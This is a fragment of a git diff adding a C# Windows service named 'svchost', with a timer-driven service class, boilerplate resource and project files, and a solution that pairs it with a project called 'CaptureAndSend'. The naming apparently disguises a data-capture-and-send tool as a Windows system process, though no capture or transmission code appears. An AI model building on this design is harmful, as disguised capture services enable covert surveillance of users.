/// + /// Set things in motion so your service can do its work. + /// + protected override void OnStart(string[] args) + { + this.mytimer.Enabled = true; + } + + /// + /// Stop this service. + /// + protected override void OnStop() + { + this.mytimer.Enabled = false; + } + } +} diff --git a/svchost.resx b/svchost.resx new file mode 100644 index 0000000..dd0ea4d --- /dev/null +++ b/svchost.resx @@ -0,0 +1,42 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 1.0.0.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=1.0.5000.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=1.0.5000.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + diff --git a/svchost.sln b/svchost.sln new file mode 100644 index 0000000..2050199 --- /dev/null +++ b/svchost.sln @@ -0,0 +1,29 @@ +Microsoft Visual Studio Solution File, Format Version 8.00 +Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "svchostService", "svchostService.csproj", "{98A7D52A-8087-4FF8-AFA2-C644439BD915}" + ProjectSection(ProjectDependencies) = postProject + EndProjectSection +EndProject +Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "CaptureAndSend", "CaptureAndSend\CaptureAndSend.csproj", "{627C48CD-257E-418E-9913-90ABD0141D50}" + ProjectSection(ProjectDependencies) = postProject + EndProjectSection +EndProject +Global + GlobalSection(SolutionConfiguration) = preSolution + Debug = Debug + Release = Release + EndGlobalSection + GlobalSection(ProjectConfiguration) = postSolution + {98A7D52A-8087-4FF8-AFA2-C644439BD915}.Debug.ActiveCfg = Debug|.NET + {98A7D52A-8087-4FF8-AFA2-C644439BD915}.Debug.Build.0 = Debug|.NET + {98A7D52A-8087-4FF8-AFA2-C644439BD915}.Release.ActiveCfg = Release|.NET + {98A7D52A-8087-4FF8-AFA2-C644439BD915}.Release.Build.0 = Release|.NET + {627C48CD-257E-418E-9913-90ABD0141D50}.Debug.ActiveCfg = Debug|.NET + {627C48CD-257E-418E-9913-90ABD0141D50}.Debug.Build.0 = Debug|.NET + {627C48CD-257E-418E-9913-90ABD0141D50}.Release.ActiveCfg = Release|.NET + {627C48CD-257E-418E-9913-90ABD0141D50}.Release.Build.0 = Release|.NET + EndGlobalSection + GlobalSection(ExtensibilityGlobals) = postSolution + EndGlobalSection + GlobalSection(ExtensibilityAddIns) = postSolution + EndGlobalSection +EndGlobal diff --git a/svchostService.csproj b/svchostService.csproj new file mode 100644 index 0000000..7b98489 --- /dev/null +++ b/svchostService.csproj @@ -0,0 +1,130 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + +